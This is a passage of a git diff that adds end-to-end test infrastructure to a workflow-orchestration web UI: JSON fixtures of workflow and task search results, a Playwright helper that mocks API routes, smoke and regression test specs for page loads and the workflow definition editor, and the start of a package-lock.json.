{taskReferenceName=fork_82, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_83, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_84, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_85, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_86, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_87, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_88, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_89, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_90, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_91, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_92, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_93, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_94, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_95, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_96, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_97, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_98, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}, {taskReferenceName=fork_99, name=JXU_PROMO_MEDIA_PUBLISH_SINGLE_ASSET_TO_PAL, type=SIMPLE}], singleAssetPublishTaskInput={fork_89={assetId=89}, fork_87={assetId=87}, fork_88={assetId=88}, fork_85={assetId=85}, fork_86={assetId=86}, fork_83={assetId=83}, fork_84={assetId=84}, fork_81={assetId=81}, fork_82={assetId=82}, fork_80={assetId=80}, fork_12={assetId=12}, fork_13={assetId=13}, fork_10={assetId=10}, fork_98={assetId=98}, fork_11={assetId=11}, fork_99={assetId=99}, fork_96={assetId=96}, fork_97={assetId=97}, fork_94={assetId=94}, fork_95={assetId=95}, fork_92={assetId=92}, fork_93={assetId=93}, fork_90={assetId=90}, fork_91={assetId=91}, fork_23={assetId=23}, fork_24={assetId=24}, fork_21={assetId=21}, fork_22={assetId=22}, fork_20={assetId=20}, fork_18={assetId=18}, fork_19={assetId=19}, fork_16={assetId=16}, fork_17={assetId=17}, fork_14={assetId=14}, fork_15={assetId=15}, fork_34={assetId=34}, fork_35={assetId=35}, fork_32={assetId=32}, fork_33={assetId=33}, fork_30={assetId=30}, fork_31={assetId=31}, fork_29={assetId=29}, fork_27={assetId=27}, fork_28={assetId=28}, fork_25={assetId=25}, fork_26={assetId=26}, fork_45={assetId=45}, fork_46={assetId=46}, fork_43={assetId=43}, fork_44={assetId=44}, fork_41={assetId=41}, fork_42={assetId=42}, fork_40={assetId=40}, fork_38={assetId=38}, fork_39={assetId=39}, fork_36={assetId=36}, fork_37={assetId=37}, fork_56={assetId=56}, fork_57={assetId=57}, fork_54={assetId=54}, fork_9={assetId=9}, fork_55={assetId=55}, fork_8={assetId=8}, fork_52={assetId=52}, fork_7={assetId=7}, fork_53={assetId=53}, fork_6={assetId=6}, fork_50={assetId=50}, fork_5={assetId=5}, fork_51={assetId=51}, fork_4={assetId=4}, fork_3={assetId=3}, fork_2={assetId=2}, fork_1={assetId=1}, fork_0={assetId=0}, fork_49={assetId=49}, fork_47={assetId=47}, fork_48={assetId=48}, fork_67={assetId=67}, fork_68={assetId=68}, fork_65={assetId=65}, fork_66={assetId=66}, fork_63={assetId=63}, fork_64={assetId=64}, fork_61={assetId=61}, fork_62={assetId=62}, fork_60={assetId=60}, fork_58={assetId=58}, fork_59={assetId=59}, fork_78={assetId=78}, fork_79={assetId=79}, fork_76={assetId=76}, fork_77={assetId=77}, fork_74={assetId=74}, fork_75={assetId=75}, fork_72={assetId=72}, fork_73={assetId=73}, fork_70={assetId=70}, fork_71={assetId=71}, fork_69={assetId=69}}}", + "taskId": "36d24c5c-9c26-46cf-9709-e1bc6963b8a5", + "workflowPriority": 0 + } + ] +} diff --git a/ui/e2e/fixtures/workflowSearch.json b/ui/e2e/fixtures/workflowSearch.json new file mode 100644 index 0000000..2b8076b --- /dev/null +++ b/ui/e2e/fixtures/workflowSearch.json @@ -0,0 +1,81 @@ +{ + "totalHits": 5, + "results": [ + { + "workflowType": "feature_value_compute_workflow", + "version": 1, + "workflowId": "d11255ed-4708-4ce5-992d-92803f0f19fc", + "startTime": "2022-06-09T16:32:56.851Z", + "status": "RUNNING", + "input": "{clientContext={}, featureDefId={namespace={name=gemstone-dev}, featureDefName=gcarmo-orchestration-test-3, featureDefVersion=2}, computeInfo={metaflowCompute={endpoint=https://httpbin.org/pos}}, triggerDagobahAttemptId=2c3c3444-dbb5-3bcc-aa7d-a3405c686c5c, gemIds=[8b132cd5-bde9-30ad-88b3-46f4ad720c73], featureDefTriggerId={namespace={name=some_trigger_id}, featureDefName=some_feature_def_name}}", + "output": "{}", + "executionTime": 0, + "failedReferenceTaskNames": "", + "priority": 0, + "inputSize": 398, + "outputSize": 2 + }, + { + "workflowType": "feature_value_compute_workflow", + "version": 1, + "workflowId": "7ff5c1d5-da27-4b27-9e60-0404eb4a1d23", + "startTime": "2022-06-09T16:31:54.904Z", + "endTime": "2022-06-09T16:32:31.901Z", + "status": "TERMINATED", + "input": "{clientContext={}, featureDefId={namespace={name=gemstone-dev}, featureDefName=gcarmo-orchestration-test-3, featureDefVersion=2}, computeInfo={metaflowCompute={endpoint=https://httpbin.org/pos}}, triggerDagobahAttemptId=2c3c3444-dbb5-3bcc-aa7d-a3405c686c5c, gemIds=[8b132cd5-bde9-30ad-88b3-46f4ad720c73], featureDefTriggerId={namespace={name=some_trigger_id}, featureDefName=some_feature_def_name}}", + "output": "{}", + "reasonForIncompletion": "Some reason!!!", + "executionTime": 36997, + "failedReferenceTaskNames": "feature_value_compute_task", + "priority": 0, + "inputSize": 398, + "outputSize": 2 + }, + { + "workflowType": "feature_value_compute_workflow", + "version": 1, + "workflowId": "ede49264-407d-4879-a708-e01526cee2ba", + "startTime": "2022-06-09T16:29:07.349Z", + "endTime": "2022-06-09T16:30:22.945Z", + "status": "FAILED", + "input": "{clientContext={}, featureDefId={namespace={name=gemstone-dev}, featureDefName=gcarmo-orchestration-test-3, featureDefVersion=2}, computeInfo={metaflowCompute={endpoint=https://httpbin.org/pos}}, triggerDagobahAttemptId=2c3c3444-dbb5-3bcc-aa7d-a3405c686c5c, gemIds=[8b132cd5-bde9-30ad-88b3-46f4ad720c73], featureDefTriggerId={namespace={name=some_trigger_id}, featureDefName=some_feature_def_name}}", + "output": "{}", + "reasonForIncompletion": "Request to https://httpbin.org/pos failed with status code 404\n\n404 Not Found\n

      Not Found

      \n

      The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.

      \n", + "executionTime": 75596, + "failedReferenceTaskNames": "feature_value_compute_task", + "priority": 0, + "inputSize": 398, + "outputSize": 2 + }, + { + "workflowType": "feature_value_compute_workflow", + "version": 1, + "workflowId": "3950353b-9225-4729-a9e4-c8b4e244e041", + "startTime": "2022-06-09T16:27:48.666Z", + "endTime": "2022-06-09T16:27:50.560Z", + "status": "COMPLETED", + "input": "{clientContext={}, featureDefId={namespace={name=gemstone-dev}, featureDefName=gcarmo-orchestration-test-3, featureDefVersion=1}, computeInfo={metaflowCompute={endpoint=https://httpbin.org/post}}, triggerDagobahAttemptId=2c3c3444-dbb5-3bcc-aa7d-a3405c686c5c, gemIds=[8b132cd5-bde9-30ad-88b3-46f4ad720c73], featureDefTriggerId={namespace={name=some_trigger_id}, featureDefName=some_feature_def_name}}", + "output": "{}", + "executionTime": 1894, + "failedReferenceTaskNames": "", + "priority": 0, + "inputSize": 399, + "outputSize": 2 + }, + { + "workflowType": "feature_value_compute_workflow", + "version": 1, + "workflowId": "9a6438c5-60a4-4af6-b530-f2bf3a2dd859", + "startTime": "2022-06-09T16:20:28.188Z", + "endTime": "2022-06-09T16:20:29.935Z", + "status": "COMPLETED", + "input": "{clientContext={}, featureDefId={namespace={name=gemstone-dev}, featureDefName=gcarmo-orchestration-test-3, featureDefVersion=1}, computeInfo={metaflowCompute={endpoint=https://httpbin.org/post}}, triggerDagobahAttemptId=2c3c3444-dbb5-3bcc-aa7d-a3405c686c5c, gemIds=[8b132cd5-bde9-30ad-88b3-46f4ad720c73], featureDefTriggerId={namespace={name=some_trigger_id}, featureDefName=some_feature_def_name}}", + "output": "{}", + "executionTime": 1747, + "failedReferenceTaskNames": "", + "priority": 0, + "inputSize": 399, + "outputSize": 2 + } + ] +} diff --git a/ui/e2e/helpers/mockApi.ts b/ui/e2e/helpers/mockApi.ts new file mode 100644 index 0000000..a830606 --- /dev/null +++ b/ui/e2e/helpers/mockApi.ts @@ -0,0 +1,54 @@ +import path from "path"; +import type { Page } from "@playwright/test"; + +const fixturesDir = path.join(__dirname, "../fixtures"); + +/** Resolve a fixture file path relative to e2e/fixtures/. */ +export const f = (name: string) => path.join(fixturesDir, name); + +/** + * Register route mocks for the APIs that are required on every page: + * workflow/task metadata used by nav dropdowns and search forms. + */ +export async function mockCommonApis(page: Page) { + await page.route("**/api/metadata/workflow/names-and-versions", (route) => + route.fulfill({ path: f("metadataWorkflowNamesAndVersions.json") }) + ); + await page.route("**/api/metadata/workflow/names", (route) => + route.fulfill({ path: f("metadataWorkflowNames.json") }) + ); + await page.route("**/api/metadata/workflow/*/versions", (route) => + route.fulfill({ path: f("metadataWorkflowVersions.json") }) + ); + await page.route("**/api/metadata/taskdefs", (route) => + route.fulfill({ path: f("metadataTasks.json") }) + ); +} + +/** Mock the workflow execution search endpoint. */ +export async function mockWorkflowSearch(page: Page) { + await page.route("**/api/workflow/search**", (route) => + route.fulfill({ path: f("workflowSearch.json") }) + ); +} + +/** Mock the task execution search endpoint. */ +export async function mockTaskSearch(page: Page) { + await page.route("**/api/tasks/search**", (route) => + route.fulfill({ path: f("taskSearch.json") }) + ); +} + +/** + * Mock scheduler endpoints. + * The /schedules endpoint must be mocked on any page that uses ScheduleNameInput — + * without it, serve -s returns index.html and data.map() throws, crashing the component. + */ +export async function mockSchedulerApis(page: Page) { + await page.route("**/api/scheduler/schedules**", (route) => + route.fulfill({ path: f("schedulerDefs.json") }) + ); + await page.route("**/api/scheduler/search/executions**", (route) => + route.fulfill({ path: f("schedulerExecutions.json") }) + ); +} diff --git a/ui/e2e/pages.spec.ts b/ui/e2e/pages.spec.ts new file mode 100644 index 0000000..e3a3b02 --- /dev/null +++ b/ui/e2e/pages.spec.ts @@ -0,0 +1,164 @@ +/** + * Page load smoke tests — verifies every main route renders without crashing + * and shows its expected heading/content. + */ +import { expect, test } from "@playwright/test"; +import { + f, + mockCommonApis, + mockSchedulerApis, + mockTaskSearch, + mockWorkflowSearch, +} from "./helpers/mockApi"; + +test.describe("Page load smoke tests", () => { + // ── Executions ────────────────────────────────────────────────────────────── + + test("Workflow Executions — home page loads", async ({ page }) => { + await mockCommonApis(page); + await mockWorkflowSearch(page); + await page.goto("/"); + await expect(page.getByText("Search Executions")).toBeVisible(); + await expect(page.getByText("Page 1 of 1")).toBeVisible(); + }); + + test("Workflow Executions — /executions route loads", async ({ page }) => { + await mockCommonApis(page); + await mockWorkflowSearch(page); + await page.goto("/executions"); + await expect(page.getByText("Search Executions")).toBeVisible(); + }); + + test("Task Executions — /search/tasks loads", async ({ page }) => { + await mockCommonApis(page); + await mockTaskSearch(page); + await page.goto("/search/tasks"); + await expect(page.getByText("Search Executions")).toBeVisible(); + await expect(page.getByText("Task Name")).toBeVisible(); + await expect( + page.getByText("There are no records to display") + ).toBeVisible(); + }); + + // ── Definitions ───────────────────────────────────────────────────────────── + + test("Workflow Definitions — /workflowDefs loads", async ({ page }) => { + await mockCommonApis(page); + await page.route("**/api/metadata/workflow", (route) => + route.fulfill({ path: f("metadataWorkflow.json") }) + ); + await page.goto("/workflowDefs"); + await expect( + page.getByRole("heading", { name: "Definitions" }) + ).toBeVisible(); + await expect( + page.getByRole("tab", { name: "Workflows" }).first() + ).toBeVisible(); + await expect( + page.getByRole("button", { name: /New Workflow Definition/i }) + ).toBeVisible(); + }); + + test("Task Definitions — /taskDefs loads", async ({ page }) => { + await mockCommonApis(page); + await page.goto("/taskDefs"); + await expect( + page.getByRole("heading", { name: "Definitions" }) + ).toBeVisible(); + await expect( + page.getByRole("button", { name: /New Task Definition/i }) + ).toBeVisible(); + }); + + test("Event Handler Definitions — /eventHandlerDefs loads", async ({ + page, + }) => { + await mockCommonApis(page); + await page.route("**/api/event**", (route) => + route.fulfill({ path: f("eventHandlers.json") }) + ); + await page.goto("/eventHandlerDefs"); + await expect( + page.getByRole("heading", { name: "Definitions" }) + ).toBeVisible(); + await expect( + page.getByRole("button", { name: /New Event Handler Definition/i }) + ).toBeVisible(); + }); + + test("Scheduler Definitions — /schedulerDefs loads", async ({ page }) => { + await mockCommonApis(page); + await mockSchedulerApis(page); + await page.goto("/schedulerDefs"); + await expect( + page.getByRole("heading", { name: "Definitions" }) + ).toBeVisible(); + await expect( + page.getByRole("button", { name: /New Schedule/i }) + ).toBeVisible(); + }); + + // ── Scheduler Executions ───────────────────────────────────────────────────── + + test("Scheduler Executions — /schedulerExecs loads", async ({ page }) => { + await mockCommonApis(page); + // mockSchedulerApis mocks both /schedules (needed by ScheduleNameInput) and + // /search/executions. Without the schedules mock, serve -s returns index.html, + // causing data.map() to throw and crash the component before the heading renders. + await mockSchedulerApis(page); + await page.goto("/schedulerExecs"); + await expect( + page.getByRole("heading", { name: "Scheduler Executions" }) + ).toBeVisible(); + await expect( + page.getByRole("columnheader", { name: "Schedule Name" }) + ).toBeVisible(); + }); + + // ── Task Queue ─────────────────────────────────────────────────────────────── + + test("Task Queues — /taskQueue loads", async ({ page }) => { + await mockCommonApis(page); + await page.goto("/taskQueue"); + await expect( + page.getByRole("heading", { name: "Task Queues" }) + ).toBeVisible(); + await expect(page.getByText(/Select a Task Name/i)).toBeVisible(); + }); + + test("Task Queues — poll data loads after selecting task", async ({ + page, + }) => { + await mockCommonApis(page); + await page.route("**/api/tasks/queue/polldata**", (route) => + route.fulfill({ path: f("taskPollData.json") }) + ); + // Each /queue/size request is per-domain and expects a plain number in response. + // Returning an object would crash the queueSize column renderer (React child error). + await page.route("**/api/tasks/queue/size**", (route) => + route.fulfill({ body: "5", contentType: "application/json" }) + ); + await page.goto("/taskQueue"); + await page.locator(".MuiAutocomplete-inputRoot input").first().click(); + await page + .locator("li.MuiAutocomplete-option") + .filter({ hasText: "example_task_1" }) + .click(); + // Wait for the client-side navigation to /taskQueue/example_task_1 to settle + // before asserting on the poll data table. + await page.waitForURL("**/taskQueue/example_task_1"); + await expect(page.getByText("Poll Status by Domain")).toBeVisible(); + await expect( + page.locator(".rdt_TableCell").filter({ hasText: "DEFAULT" }).first() + ).toBeVisible(); + }); + + // ── Workbench ──────────────────────────────────────────────────────────────── + + test("Workbench — /workbench loads", async ({ page }) => { + await mockCommonApis(page); + await page.goto("/workbench"); + await expect(page.getByText("Workflow Workbench")).toBeVisible(); + await expect(page.getByText("Workflow Name")).toBeVisible(); + }); +}); diff --git a/ui/e2e/spec.spec.ts b/ui/e2e/spec.spec.ts new file mode 100644 index 0000000..bae275d --- /dev/null +++ b/ui/e2e/spec.spec.ts @@ -0,0 +1,83 @@ +import { expect, test } from "@playwright/test"; +import { + f, + mockCommonApis, + mockTaskSearch, + mockWorkflowSearch, +} from "./helpers/mockApi"; + +test.describe("Landing Page", () => { + test.beforeEach(async ({ page }) => { + await mockCommonApis(page); + await mockWorkflowSearch(page); + await mockTaskSearch(page); + }); + + test("Homepage preloads with default query", async ({ page }) => { + await page.goto("/"); + await expect(page.getByText("Search Execution")).toBeVisible(); + await expect(page.getByText("Page 1 of 1")).toBeVisible(); + await expect( + page + .locator(".rdt_TableCell") + .filter({ hasText: "feature_value_compute_workflow" }) + .first() + ).toBeVisible(); + }); + + test("Workflow name dropdown", async ({ page }) => { + await page.goto("/"); + await page.locator(".MuiAutocomplete-inputRoot input").first().click(); + await page + .locator("li.MuiAutocomplete-option") + .filter({ hasText: "Do_While_Workflow_Iteration_Fix" }) + .click(); + await expect( + page + .locator(".MuiAutocomplete-tag") + .filter({ hasText: "Do_While_Workflow_Iteration_Fix" }) + ).toBeVisible(); + }); + + test("Switch to Task Tab - No results", async ({ page }) => { + await page.goto("/"); + await page.locator("a.MuiTab-root").filter({ hasText: "Tasks" }).click(); + await expect(page.getByText("Task Name")).toBeVisible(); + await expect( + page.getByText("There are no records to display") + ).toBeVisible(); + }); + + test("Task Name Dropdown", async ({ page }) => { + await page.goto("/"); + await page.locator("a.MuiTab-root").filter({ hasText: "Tasks" }).click(); + await page.locator(".MuiAutocomplete-inputRoot input").first().click(); + await page + .locator("li.MuiAutocomplete-option") + .filter({ hasText: "example_task_2" }) + .click(); + await expect( + page.locator(".MuiAutocomplete-tag").filter({ hasText: "example_task_2" }) + ).toBeVisible(); + }); + + test("Execute Task Search", async ({ page }) => { + await page.goto("/"); + await page.locator("a.MuiTab-root").filter({ hasText: "Tasks" }).click(); + // Select a task name first — useTaskSearch short-circuits to empty results when + // query and freeText are both empty, so a filter is required to hit the API. + await page.locator(".MuiAutocomplete-inputRoot input").first().click(); + await page + .locator("li.MuiAutocomplete-option") + .filter({ hasText: "example_task_2" }) + .click(); + await page.locator("button").filter({ hasText: "Search" }).click(); + await expect(page.getByText("Page 1 of 1")).toBeVisible(); + await expect( + page + .locator(".rdt_TableCell") + .filter({ hasText: "36d24c5c-9c26-46cf-9709-e1bc6963b8a5" }) + .first() + ).toBeVisible(); + }); +}); diff --git a/ui/e2e/workflow-def.spec.ts b/ui/e2e/workflow-def.spec.ts new file mode 100644 index 0000000..77e9ad9 --- /dev/null +++ b/ui/e2e/workflow-def.spec.ts @@ -0,0 +1,114 @@ +/** + * Regression tests for the workflow definition editor, specifically around + * creating new workflows. + * + * Regression: useWorkflowVersions() was called with a non-null query key even + * when workflowName was null/undefined, causing it to fire spurious API requests + * (and return stale data via keepPreviousData) when opening a new workflow. + * Fix: pass `null` as the key when workflowName is falsy so react-query + * treats the query as fully disabled. + * + * Relevant code: src/data/workflow.js — useWorkflowVersions() + */ +import { expect, test } from "@playwright/test"; +import { f, mockCommonApis } from "./helpers/mockApi"; + +test.describe("Workflow Definition editor", () => { + test.beforeEach(async ({ page }) => { + await mockCommonApis(page); + await page.route("**/api/metadata/workflow", (route) => + route.fulfill({ path: f("metadataWorkflow.json") }) + ); + }); + + test("New workflow — editor loads without making a versions API call", async ({ + page, + }) => { + const versionsRequests: string[] = []; + + // Capture any /versions requests so we can assert none fire for a null name. + // A request to e.g. /api/metadata/workflow/undefined/versions or + // /api/metadata/workflow//versions would indicate the regression is present. + await page.route("**/api/metadata/workflow/*/versions", (route) => { + versionsRequests.push(route.request().url()); + route.fulfill({ path: f("metadataWorkflowVersions.json") }); + }); + + await page.goto("/workflowDef"); + + // Toolbar must show "NEW" — confirms workflowName is null and the + // template was loaded rather than an existing definition + await expect(page.getByText("NEW")).toBeVisible(); + + // Save button must be present + await expect(page.getByRole("button", { name: "Save" })).toBeVisible(); + + // No /versions request should have fired: the query key guard in + // useWorkflowVersions must be returning null when workflowName is falsy + const badRequest = versionsRequests.find((url) => + /\/metadata\/workflow\/(undefined|null|)\//i.test(url) + ); + expect( + badRequest, + `Spurious versions request fired with invalid workflow name: ${badRequest}` + ).toBeUndefined(); + }); + + test("New workflow — page stays stable and no spurious versions calls fire during page lifecycle", async ({ + page, + }) => { + // The Save dialog calls useWorkflowVersions(parsedName) where parsedName + // is derived from the editor JSON. For a new workflow the template has + // name: "", so parsedName = "" (falsy). The null-key guard must prevent a + // fetch throughout the page lifecycle, not just at initial mount. + const versionsRequests: string[] = []; + await page.route("**/api/metadata/workflow/*/versions", (route) => { + versionsRequests.push(route.request().url()); + route.fulfill({ path: f("metadataWorkflowVersions.json") }); + }); + + await page.goto("/workflowDef"); + await expect(page.getByText("NEW")).toBeVisible(); + + // Save button must be rendered (it will be disabled until the editor is + // modified, which is expected behaviour for an unmodified template) + await expect(page.getByRole("button", { name: "Save" })).toBeVisible(); + + // Wait a beat to let any deferred/debounced effects settle + await page.waitForTimeout(1000); + + // No /versions request should have fired with an empty, null, or undefined + // workflow name at any point during the page lifecycle + const badRequest = versionsRequests.find((url) => + /\/metadata\/workflow\/(undefined|null|)\//i.test(url) + ); + expect( + badRequest, + `Spurious versions request fired with invalid workflow name: ${badRequest}` + ).toBeUndefined(); + }); + + test("Existing workflow — editor loads and versions are fetched", async ({ + page, + }) => { + // useWorkflowDef fetches GET /api/metadata/workflow/:name + // useWorkflowVersions fetches GET /api/metadata/workflow/:name/versions + await page.route("**/api/metadata/workflow/19test009", (route) => + route.fulfill({ path: f("metadataWorkflow.json") }) + ); + await page.route("**/api/metadata/workflow/19test009/versions", (route) => + route.fulfill({ path: f("metadataWorkflowVersions.json") }) + ); + + await page.goto("/workflowDef/19test009"); + + // Toolbar shows the workflow name (not "NEW"). + // Use exact: true so the Monaco editor's JSON span ("19test009" with + // surrounding quotes) does not create a strict-mode ambiguity. + await expect(page.getByText("19test009", { exact: true })).toBeVisible(); + + // Version selector is rendered and defaults to "Latest Version". + // MUI v4 Select renders as role="button" (not "combobox"), so target by text. + await expect(page.getByText("Latest Version")).toBeVisible(); + }); +}); diff --git a/ui/package-lock.json b/ui/package-lock.json new file mode 100644 index 0000000..61c22cf --- /dev/null +++ b/ui/package-lock.json @@ -0,0 +1,25871 @@ +{ + "name": "client", + "version": "3.8.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "client", + "version": "3.8.0", + "license": "Apache-2.0", + "dependencies": { + "@material-ui/core": "^4.12.3", + "@material-ui/icons": "^4.11.2", + "@material-ui/lab": "^4.0.0-alpha.60", + "@material-ui/styles": "^4.11.4", + "@monaco-editor/react": "^4.4.0", + "clsx": "^1.1.1", + "cronstrue": "^1.72.0", + "d3": "^6.2.0", + "dagre-d3": "^0.6.4", + "date-fns": "^2.16.1", + "formik": "^2.2.9", + "http-proxy-middleware": "^2.0.1", + "immutability-helper": "^3.1.1", + "json-bigint-string": "^1.0.0", + "lodash": "^4.17.20", + "moment": "^2.29.2", + "monaco-editor": "^0.44.0", + "node-forge": "^1.3.0", + "orkes-workflow-visualizer": "^1.0.0", + "parse-svg-path": "^0.1.2", + "prop-types": "^15.7.2", + "react": "^18.3.1", + "react-cron-generator": "^1.3.5", + "react-data-table-component": "^6.11.8", + "react-dom": "^18.3.1", + "react-helmet": "^6.1.0", + "react-is": "^17.0.2", + "react-query": "^3.19.4", + "react-resize-detector": "^5.2.0", + "react-router": "^5.2.0", + "react-router-dom": "^5.2.0", + "react-router-use-location-state": "^2.5.0", + "react-scripts": "^5.0.1", + "react-vis-timeline-2": "^2.1.6", + "rison": "^0.1.1", + "styled-components": "^5.3.0", + "url-parse": "^1.5.1", + "use-local-storage-state": "^10.0.0", + "xss": "^1.0.8", + "yarn": "^1.22.22", + "yup": "^0.32.11" + }, + "devDependencies": { + "@babel/core": "^7.18.2", + "@babel/preset-env": "^7.18.2", + "@babel/register": "^7.17.7", + "@cypress/react": "^5.12.5", + "@cypress/webpack-dev-server": "^1.8.4", + "cypress": "^10.0.3", + "eslint-plugin-cypress": "^2.12.1", + "http-server": "^14.1.1", + "js-yaml": "4.1.0", + "prettier": "^2.2.1", + "sass": "^1.49.9", + "start-server-and-test": "^1.14.0", + "typescript": "^4.6.3" + }, + "engines": { + "node": ">=14.17.0" + } + }, + "node_modules/@ampproject/remapping": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.0.tgz", + "integrity": "sha512-qRmjj8nj9qmLTQXXmaR1cck3UXSRMPrbsLJAasZpF+t3riI71BXed5ebIOYwQntykeZuhjsdweEc9BxH5Jc26w==", + "license": "Apache-2.0", + "dependencies": { + "@jridgewell/gen-mapping": "^0.1.0", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.18.6.tgz", + "integrity": "sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q==", + "license": "MIT", + "dependencies": { + "@babel/highlight": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/compat-data": { + "version": "7.18.8", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.18.8.tgz", + "integrity": "sha512-HSmX4WZPPK3FUxYp7g2T6EyO8j96HlZJlxmKPSh6KAcqwyDrfx7hKjXpAW/0FhFfTJsR0Yt4lAjLI2coMptIHQ==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.18.6.tgz", + "integrity": "sha512-cQbWBpxcbbs/IUredIPkHiAGULLV8iwgNRMFzvbhEXISp4f3rUUXE5+TIw6KwUWUR3DwyI6gmBRnmAtYaWehwQ==", + "license": "MIT", + "dependencies": { + "@ampproject/remapping": "^2.1.0", + "@babel/code-frame": "^7.18.6", + "@babel/generator": "^7.18.6", + "@babel/helper-compilation-targets": "^7.18.6", + "@babel/helper-module-transforms": "^7.18.6", + "@babel/helpers": "^7.18.6", + "@babel/parser": "^7.18.6", + "@babel/template": "^7.18.6", + "@babel/traverse": "^7.18.6", + "@babel/types": "^7.18.6", + "convert-source-map": "^1.7.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.1", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/@babel/eslint-parser": { + "version": "7.18.2", + "resolved": "https://registry.npmjs.org/@babel/eslint-parser/-/eslint-parser-7.18.2.tgz", + "integrity": "sha512-oFQYkE8SuH14+uR51JVAmdqwKYXGRjEXx7s+WiagVjqQ+HPE+nnwyF2qlVG8evUsUHmPcA+6YXMEDbIhEyQc5A==", + "license": "MIT", + "dependencies": { + "eslint-scope": "^5.1.1", + "eslint-visitor-keys": "^2.1.0", + "semver": "^6.3.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || >=14.0.0" + }, + "peerDependencies": { + "@babel/core": ">=7.11.0", + "eslint": "^7.5.0 || ^8.0.0" + } + }, + "node_modules/@babel/eslint-parser/node_modules/eslint-scope": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "license": "BSD-2-Clause", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/@babel/eslint-parser/node_modules/eslint-visitor-keys": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz", + "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==", + "license": "Apache-2.0", + "engines": { + "node": ">=10" + } + }, + "node_modules/@babel/eslint-parser/node_modules/estraverse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/@babel/generator": { + "version": "7.18.7", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.18.7.tgz", + "integrity": "sha512-shck+7VLlY72a2w9c3zYWuE1pwOKEiQHV7GTUbSnhyl5eu3i04t30tBY82ZRWrDfo3gkakCFtevExnxbkf2a3A==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.18.7", + "@jridgewell/gen-mapping": "^0.3.2", + "jsesc": "^2.5.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/generator/node_modules/@jridgewell/gen-mapping": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.2.tgz", + "integrity": "sha512-mh65xKQAzI6iBcFzwv28KVWSmCkdRBWoOh+bYQGW3+6OZvbbN3TqMGo5hqYxQniRcH9F2VZIoJCm4pa3BPDK/A==", + "license": "MIT", + "dependencies": { + 